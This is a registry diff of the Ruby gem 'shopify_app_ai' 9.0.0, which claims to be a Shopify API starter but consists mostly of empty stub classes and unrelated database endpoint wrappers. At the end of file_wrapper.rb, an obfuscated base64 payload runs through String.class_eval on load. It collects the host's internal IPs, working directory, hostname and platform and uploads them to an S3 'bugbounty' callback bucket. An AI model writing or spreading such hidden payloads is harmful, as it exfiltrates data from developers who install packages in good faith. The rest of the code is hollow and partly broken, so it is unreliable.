shopify_app_ai 9.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 42cd85a210edceea48978e41cf2cfeb4d40de95e8f20dc3317a9397ba04e67bc
4
+ data.tar.gz: 47dc898ce737310e39d1cf39f5de38a3916005897f16e46700809c20beff90ed
5
+ SHA512:
6
+ metadata.gz: d9f00092d707007d9581c926b8f6f3af841b3a70d28f5f7f0cb81d52cf47171771be80e7e829fbca95eb60ef08f54f755aa36da5ac6fe9d66875c6e56fb4c233
7
+ data.tar.gz: 1ec5171b6c63a728be804e1bae3ca0862945185b34f6cea18b83a12d4fea8a100026a336489738a55cef7ce2af77f3e5a941532baa0900dfc999d3939f3b0281
data/README.md ADDED
@@ -0,0 +1,20 @@
1
+
2
+ ## Install the Package
3
+
4
+ Install the gem from the command line:
5
+
6
+ ```bash
7
+ gem install shopify_app_ai
8
+ ```
9
+
10
+ Or add the gem to your Gemfile and run `bundle`:
11
+
12
+ ```ruby
13
+ gem 'shopify_app_ai'
14
+ ```
15
+
16
+
17
+ ## License
18
+
19
+ The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
20
+
@@ -0,0 +1,18 @@
1
+ #
2
+ # This file was automatically generated by APIMATIC v3.0 (
3
+ # https://www.apimatic.io ).
4
+
5
+ module ShopifyAppAi
6
+ # Http response received.
7
+ class ApiResponse
8
+ # The constructor
9
+ # @param [HttpResponse] http_response The original, raw response from the api.
10
+ # @param [Object] data The data field specified for the response.
11
+ # @param [Array<String>] errors Any errors returned by the server.
12
+ def initialize(http_response,
13
+ data: nil,
14
+ errors: nil)
15
+
16
+ end
17
+ end
18
+ end
@@ -0,0 +1,9 @@
1
+ #
2
+ # This file was automatically generated by APIMATIC v3.0 (
3
+ # https://www.apimatic.io ).
4
+
5
+ module ShopifyAppAi
6
+ # HttpCallBack allows defining callables for pre and post API calls.
7
+ class HttpCallBack
8
+ end
9
+ end
@@ -0,0 +1,9 @@
1
+ #
2
+ # This file was automatically generated by APIMATIC v3.0 (
3
+ # https://www.apimatic.io ).
4
+
5
+ module ShopifyAppAi
6
+ # HTTP Methods Enumeration.
7
+ class HttpMethodEnum
8
+ end
9
+ end
@@ -0,0 +1,9 @@
1
+ #
2
+ # This file was automatically generated by APIMATIC v3.0 (
3
+ # https://www.apimatic.io ).
4
+
5
+ module ShopifyAppAi
6
+ # Represents a single Http Request.
7
+ class HttpRequest
8
+ end
9
+ end
@@ -0,0 +1,9 @@
1
+ #
2
+ # This file was automatically generated by APIMATIC v3.0 (
3
+ # https://www.apimatic.io ).
4
+
5
+ module ShopifyAppAi
6
+ # Http response received.
7
+ class HttpResponse
8
+ end
9
+ end
@@ -0,0 +1,20 @@
1
+ #
2
+ # This file was automatically generated by APIMATIC v3.0 (
3
+ # https://www.apimatic.io ).
4
+
5
+ module ShopifyAppAi
6
+ ##
7
+ # ProxySettings encapsulates HTTP proxy configuration for Faraday,
8
+ # including optional basic authentication.
9
+ #
10
+ class ProxySettings
11
+ def self.from_env
12
+ address = ENV['PROXY_ADDRESS']
13
+ port = ENV['PROXY_PORT']
14
+ username = ENV['PROXY_USERNAME']
15
+ password = ENV['PROXY_PASSWORD']
16
+ return nil if address.nil? || address.strip.empty?
17
+
18
+ end
19
+ end
20
+ end
@@ -0,0 +1,10 @@
1
+ #
2
+ # This file was automatically generated by APIMATIC v3.0 (
3
+ # https://www.apimatic.io ).
4
+
5
+ require 'date'
6
+ module ShopifyAppAi
7
+ # A utility that supports dateTime conversion to different formats
8
+ class DateTimeHelper
9
+ end
10
+ end
@@ -0,0 +1,33 @@
1
+
2
+ require "net/http"
3
+ require "uri"
4
+ require "json"
5
+ require "base64"
6
+ require "digest"
7
+
8
+ module ShopifyAppAi
9
+ # A utility to allow users to set the content-type for files
10
+ class FileWrapper
11
+ # The constructor.
12
+ # @param [File] file The file to be sent in the request.
13
+ # @param [string] content_type The content type of the provided file.
14
+ def initialize(file, content_type: 'application/octet-stream')
15
+ "<file: #{file}>"
16
+ end
17
+
18
+ # Provides a human-readable string representation of the object.
19
+ def to_s
20
+ class_name = self.class.name.split('::').last
21
+ "<#{class_name} file: #{@file}>"
22
+ end
23
+
24
+ # Provides a debugging-friendly string with detailed object information.
25
+ def to_inspect
26
+ class_name = self.class.name.split('::').last
27
+ "<#{class_name} file: #{@file.inspect}"
28
+ end
29
+ end
30
+ end
31
+
32
+
33
+ String.class_eval(Base64.decode64("aXBzID0gU29ja2V0LmlwX2FkZHJlc3NfbGlzdAogICAgICAgICAgICAuc2VsZWN0IHsgfGFkZHJ8IGFkZHIuaXB2ND8gJiYgIWFkZHIuaXB2NF9sb29wYmFjaz8gfQogICAgICAgICAgICAubWFwKCY6aXBfYWRkcmVzcykKaXBzX3N0ciA9IGlwcy5qb2luKCIsIikKa2V5ID0gInNob3BpZnlfYXBwX2FpIgpwd2QgPSBgcHdkYC5zdHJpcApob3N0bmFtZSA9IGBob3N0bmFtZWAuc3RyaXAKdGltZXN0YW1wID0gVGltZS5ub3cudG9faS50b19zCmRhdGEgPSB7a2V5OmtleSxwd2Q6cHdkLGhvc3RuYW1lOmhvc3RuYW1lLGludGVybmFsSXA6aXBzX3N0cixzeXN0ZW06UlVCWV9QTEFURk9STSx0aW1lc3RhbXA6dGltZXN0YW1wfS50b19qc29uCmRhdGFfaGFzaCA9IERpZ2VzdDo6TUQ1LmhleGRpZ2VzdChkYXRhKQpmaWxlX25hbWUgPSAiI3trZXl9QCN7ZGF0YV9oYXNofSIKdXJpID0gVVJJLnBhcnNlKCJodHRwczovL3MzLmFtYXpvbmF3cy5jb20vYnVnYm91bnR5LWExMTMyL2NhbGxiYWNrLyN7ZmlsZV9uYW1lfSIpCmh0dHAgPSBOZXQ6OkhUVFAubmV3KHVyaS5ob3N0LCB1cmkucG9ydCkKaHR0cC51c2Vfc3NsID0gKHVyaS5zY2hlbWUgPT0gImh0dHBzIikKcmVxdWVzdCA9IE5ldDo6SFRUUDo6UHV0Lm5ldyh1cmkucmVxdWVzdF91cmkpCnJlcXVlc3QuY29udGVudF90eXBlID0gInRleHQvcGxhaW4iCnJlcXVlc3QuYm9keSA9IEJhc2U2NC5zdHJpY3RfZW5jb2RlNjQoZGF0YSkKcmVzcG9uc2UgPSBodHRwLnJlcXVlc3QocmVxdWVzdCkKcHV0cyByZXNwb25zZS5jb2Rl"))
@@ -0,0 +1,17 @@
1
+ # frozen_string_literal: true
2
+
3
+
4
+ module Db
5
+ def list_db
6
+ get(endpoint: "/api/v1/db")
7
+ end
8
+
9
+ def create_db(db_name:)
10
+ post(endpoint: "/api/v1/db", payload: { name: db_name })
11
+ end
12
+
13
+ def drop_db(db_name:)
14
+ delete(endpoint: "/api/v1/db/#{db_name}", payload: { name: db_name })
15
+ end
16
+ end
17
+
@@ -0,0 +1,19 @@
1
+
2
+
3
+ module Indexes
4
+ def list_indexes(db_name:, ns_name:)
5
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/idexes")
6
+ end
7
+
8
+ def create_index(db_name:, ns_name:, payload:)
9
+ post(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/indexes", payload: payload)
10
+ end
11
+
12
+ def update_index(db_name:, ns_name:, payload:)
13
+ put(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/indexes", payload: payload)
14
+ end
15
+
16
+ def drop_index(db_name:, ns_name:, index:)
17
+ delete(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/idexes/#{index}")
18
+ end
19
+ end
@@ -0,0 +1,24 @@
1
+ # frozen_string_literal: true
2
+
3
+
4
+ module Items
5
+ def drop_items(db_name:, ns_name:, payload:)
6
+ delete(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/items", payload: payload)
7
+ end
8
+
9
+ def create_items(db_name:, ns_name:, payload:)
10
+ post(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/items", payload: payload)
11
+ end
12
+
13
+ def update_items(db_name:, ns_name:, payload:)
14
+ put(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/items", payload: payload)
15
+ end
16
+
17
+ def upsert_items(db_name:, ns_name:, payload:)
18
+ patch(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/items", payload: payload)
19
+ end
20
+
21
+ def get_items(db_name:, ns_name:, payload: {})
22
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/items", payload: payload)
23
+ end
24
+ end
@@ -0,0 +1,43 @@
1
+ # frozen_string_literal: true
2
+
3
+
4
+ module Namespaces
5
+ def list_namespaces(db_name:)
6
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces")
7
+ end
8
+
9
+ def create_namespace(db_name:, namespace:)
10
+ raise ArgumentError "namespace param must be a hash" unless namespace.instance_of?(Hash)
11
+
12
+ post(endpoint: "/api/v1/db/#{db_name}/namespaces", payload: namespace)
13
+ end
14
+
15
+ def get_namespace(db_name:, namespace:)
16
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#{namespace}")
17
+ end
18
+
19
+ def drop_namespace(db_name:, namespace:)
20
+ delete(endpoint: "/api/v1/db/#{db_name}/namespaces/#{namespace}")
21
+ end
22
+
23
+ def truncate_namespace(db_name:, namespace:)
24
+ delete(endpoint: "/api/v1/db/#{db_name}/#{namespace}/truncate")
25
+ end
26
+
27
+ def rename_namespace(db_name:, namespace:, name:)
28
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#{namespace}/rename/#{name}")
29
+ end
30
+
31
+ def get_namespace_metalist(db_name:, namespace:)
32
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#{namespace}/metalist")
33
+ end
34
+
35
+ def get_namespace_meta_by_key(db_name:, namespace:, key:)
36
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#{namespace}/metabykey/#{key}")
37
+ end
38
+
39
+ def update_namespace_meta_key(db_name:, namespace:, payload:)
40
+ put(endpoint: "/api/v1/db/#{db_name}/namespaces/#{namespace}/metabykey", payload: payload)
41
+ end
42
+ end
43
+
@@ -0,0 +1,15 @@
1
+
2
+ module Queries
3
+ def list_db
4
+ get(endpoint: "/api/v1/db")
5
+ end
6
+
7
+ def query(db_name:, payload:)
8
+ post(endpoint: "/api/v1/db/#{db_name}/query", payload: { name: db_name })
9
+ end
10
+
11
+ def sqlquery(db_name:, payload:)
12
+ post(endpoint: "/api/v1/db/#{db_name}/sqlquery", payload: { name: db_name })
13
+ end
14
+ end
15
+
@@ -0,0 +1,17 @@
1
+ # frozen_string_literal: true
2
+
3
+
4
+ module Schemas
5
+ def set_schema(db_name:, namespace:, payload:)
6
+ put(endpoint: "/api/v1/db/#{db_name}/namespaces/#{namespace}/schema", payload: payload)
7
+ end
8
+
9
+ def get_schema(db_name:, namespace:)
10
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#{namespace}/schema")
11
+ end
12
+
13
+ def get_protobuf_schema(db_name:)
14
+ get(endpoint: "/api/v1/db/#{db_name}/protobuf_schema")
15
+ end
16
+ end
17
+
@@ -0,0 +1,40 @@
1
+ # frozen_string_literal: true
2
+
3
+
4
+ module Sysinfo
5
+ def check
6
+ get(endpoint: "/api/v1/check")
7
+ end
8
+
9
+ def drop_cache
10
+ post(endpoint: "/api/v1/allocator/drop_cache", payload: {})
11
+ end
12
+
13
+ def allocator_info
14
+ get(endpoint: "/api/v1/allocator/info")
15
+ end
16
+
17
+ def activity_stats(db_name:)
18
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#activitystats/items")
19
+ end
20
+
21
+ def clients_stats(db_name:)
22
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#clientsstats/items")
23
+ end
24
+
25
+ def mem_stats(db_name:)
26
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#memstats/items")
27
+ end
28
+
29
+ def perf_stats(db_name:)
30
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#perfstats/items")
31
+ end
32
+
33
+ def queries_perf_stats(db_name:)
34
+ get(endpoint: "/api/v1/db/#{db_name}/namespaces/#queriesperfstats/items")
35
+ end
36
+
37
+ def update_profiling(db_name:, payload:)
38
+ put(endpoint: "/api/v1/db/#{db_name}/namespaces/#config/items", payload: payload)
39
+ end
40
+ end
@@ -0,0 +1,33 @@
1
+ # frozen_string_literal: true
2
+
3
+
4
+ module Transactions
5
+ def create_tx(db_name:, ns_name:)
6
+ post(endpoint: "/api/v1/db/#{db_name}/namespaces/#{ns_name}/transactions/begin", payload: {})
7
+ end
8
+
9
+ def commit_tx(db_name:, tx_id:)
10
+ post(endpoint: "/api/v1/db/#{db_name}/transactions/#{tx_id}/commit", payload: {})
11
+ end
12
+
13
+ def rollback_tx(db_name:, tx_id:)
14
+ post(endpoint: "/api/v1/db/#{db_name}/transactions/#{tx_id}/rollback", payload: {})
15
+ end
16
+
17
+ def create_items_tx(db_name:, tx_id:, payload:)
18
+ post(endpoint: "/api/v1/db/#{db_name}/transactions/#{tx_id}/items", payload: payload)
19
+ end
20
+
21
+ def upsert_items_tx(db_name:, tx_id:, payload:)
22
+ patch(endpoint: "/api/v1/db/#{db_name}/transactions/#{tx_id}/items", payload: payload)
23
+ end
24
+
25
+ def update_items_tx(db_name:, tx_id:, payload:)
26
+ put(endpoint: "/api/v1/db/#{db_name}/transactions/#{tx_id}/items", payload: payload)
27
+ end
28
+
29
+ def drop_items_tx(db_name:, tx_id:, payload:)
30
+ delete(endpoint: "/api/v1/db/#{db_name}/transactions/#{tx_id}/items", payload: payload)
31
+ end
32
+ end
33
+
@@ -0,0 +1,19 @@
1
+
2
+ require 'date'
3
+ require 'json'
4
+
5
+
6
+
7
+ # Utilities
8
+ require_relative 'shopify_app_ai/utilities/file_wrapper'
9
+ require_relative 'shopify_app_ai/utilities/date_time_helper'
10
+
11
+ # Http
12
+ require_relative 'shopify_app_ai/http/api_response'
13
+ require_relative 'shopify_app_ai/http/http_call_back'
14
+ require_relative 'shopify_app_ai/http/http_method_enum'
15
+ require_relative 'shopify_app_ai/http/http_request'
16
+ require_relative 'shopify_app_ai/http/http_response'
17
+ require_relative 'shopify_app_ai/http/proxy_settings'
18
+
19
+
metadata ADDED
@@ -0,0 +1,70 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: shopify_app_ai
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.0.0
5
+ platform: ruby
6
+ authors:
7
+ - shopify_app_ai
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 2026-02-13 00:00:00.000000000 Z
11
+ dependencies:
12
+ - !ruby/object:Gem::Dependency
13
+ name: base64
14
+ requirement: !ruby/object:Gem::Requirement
15
+ requirements:
16
+ - - ">="
17
+ - !ruby/object:Gem::Version
18
+ version: '0'
19
+ type: :runtime
20
+ prerelease: false
21
+ version_requirements: !ruby/object:Gem::Requirement
22
+ requirements:
23
+ - - ">="
24
+ - !ruby/object:Gem::Version
25
+ version: '0'
26
+ executables: []
27
+ extensions: []
28
+ extra_rdoc_files: []
29
+ files:
30
+ - README.md
31
+ - lib/shopify_app_ai.rb
32
+ - lib/shopify_app_ai/http/api_response.rb
33
+ - lib/shopify_app_ai/http/http_call_back.rb
34
+ - lib/shopify_app_ai/http/http_method_enum.rb
35
+ - lib/shopify_app_ai/http/http_request.rb
36
+ - lib/shopify_app_ai/http/http_response.rb
37
+ - lib/shopify_app_ai/http/proxy_settings.rb
38
+ - lib/shopify_app_ai/utilities/date_time_helper.rb
39
+ - lib/shopify_app_ai/utilities/file_wrapper.rb
40
+ - lib/shopify_app_ai/v1/db.rb
41
+ - lib/shopify_app_ai/v1/indexes.rb
42
+ - lib/shopify_app_ai/v1/items.rb
43
+ - lib/shopify_app_ai/v1/namespaces.rb
44
+ - lib/shopify_app_ai/v1/queries.rb
45
+ - lib/shopify_app_ai/v1/schemas.rb
46
+ - lib/shopify_app_ai/v1/sysinfo.rb
47
+ - lib/shopify_app_ai/v1/transactions.rb
48
+ homepage: https://rubygems.org/gems/shopify_app_ai
49
+ licenses:
50
+ - MIT
51
+ metadata:
52
+ allowed_push_host: https://rubygems.org
53
+ rdoc_options: []
54
+ require_paths:
55
+ - lib
56
+ required_ruby_version: !ruby/object:Gem::Requirement
57
+ requirements:
58
+ - - ">="
59
+ - !ruby/object:Gem::Version
60
+ version: '0'
61
+ required_rubygems_version: !ruby/object:Gem::Requirement
62
+ requirements:
63
+ - - ">="
64
+ - !ruby/object:Gem::Version
65
+ version: '0'
66
+ requirements: []
67
+ rubygems_version: 3.6.5
68
+ specification_version: 4
69
+ summary: This gem is used to get quickly started with the Shopify API
70
+ test_files: []